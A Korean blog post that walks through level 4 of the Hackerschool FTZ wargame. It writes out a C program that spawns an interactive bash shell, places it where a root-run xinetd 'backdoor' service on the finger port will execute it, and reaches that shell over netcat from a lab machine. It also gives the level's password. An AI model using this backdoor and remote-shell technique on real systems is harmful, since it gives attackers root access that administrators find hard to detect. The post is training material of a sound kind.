본문 바로가기
보안과정/리버싱

Level 4 → Level 5

by Luuii 2017. 11. 28.

www.hackerschool.org 를 이용하여 공부한다.


목적 : xinetd 방식 (원격 백도어)


Level4 사용자로 로그인

ID : level4

Pass : suck my brain


$ ls -l

$ cat hint



[참고][클릭]xinetd 방식의 서비스



$ cd /etc/xinetd.d

$ ls -al


$ export LANG=c

$ /sbin/chkcnofig --list | sed -n '/xinetd based/,$p' | grep -w on


$ cat /etc/xinetd.d/backdoor


ⓐ service finger

> 반드시 /etc/services 파일에 들어있는 이름이어야 한다. (반드시 서비스 이름과 포트가 매핑되어야한다.)


ⓑ disable = no

> 데몬을 비 활성화 하지 않음. 서비스의 이름으로는 /etc/services 파일에 있는 서비스명으로 선택하는 것을 권장

ⓒ flags = REUSE

> 서비스 포트가 사용 중인 경우 해당 포트의 재사용을 허가

ⓓ socket_type = stream

> TCP(stream)/UDP(dgram) 프로토콜을 선택

ⓔ wait = no

> 이미 서비스가 연결된 상태에서 다른 요청이 오면 바로 응답. 

> 다르게 표현하면 telnetd은 동시에 다수의 접속이 가능하다는 의미

ⓕ user = root

> 해당 데몬이 root 계정의 권한으로 실행됨

ⓖ server = /usr/bin/in.fingerd

> xinetd에 의해 실행 될 데몬 파일

ⓗ log_on_failure += USERID

> 정상적인 기동에실패한 경우 USERID를 로그에 기록


$ ls -l /home/level4/tmp/backdoor


$ finger level$@localhost

$

> 정상 실행이 되지 않는다.


공격용 파일 생성

$ cd ~/tmp

$ vi backdoor.c

1
2
3
4
5
6
#include <stdlib.h>
 
int main()
{
    system("/bin/bash");
}
cs



$ gcc -o backdoor backdoor.c

$ finger level4@localhost


vi backdoor2.c

1
2
3
4
5
6
#include<stdlib.h>
 
int main()
{
    system("/bin/bash");
}
cs


$ gcc -o backdoor backdoor2.c

$ finger level4@localhost

> 정상수행 X

>> 원격에서 nc(netcat) 명령어 사용.



[참고][클릭]nc(netcat)명령어 사용법



[CentOS]

# nc 192.168.10.240 79

my-pass


[HackMe]

# export LANG=C


$ cd ~/tmp

$ vi backdoor2.c

1
2
3
4
5
6
#include <stdlib.h>
 
int main()
{
        system("/bin/bash -i");
}
cs


$ gcc -o backdoor backdoor2.c


[CentOS]

# nc 192.168.10.240 79




xinetd 방식의 원격 백도어 특성

> 서비스 요청이 있지 않으면 데몬이 떠 있지 않은 생태이므로 관리자가 확인하기 어렵다.

> 클라이언트가 해커들이 그 포트로 요청을 하기 전 까지는 데몬이 뜨질 않는다. 요청이 있어야 데몬이 뜬다.


























반응형

'보안과정 > 리버싱' 카테고리의 다른 글

Level 6 → Level 7  (0) 2017.11.29
Level 5 → Level 6  (0) 2017.11.29
Level 3 → Level 4  (0) 2017.11.28
Level 2 → Level 3  (0) 2017.11.28
Level1 문제 도전.  (0) 2017.11.27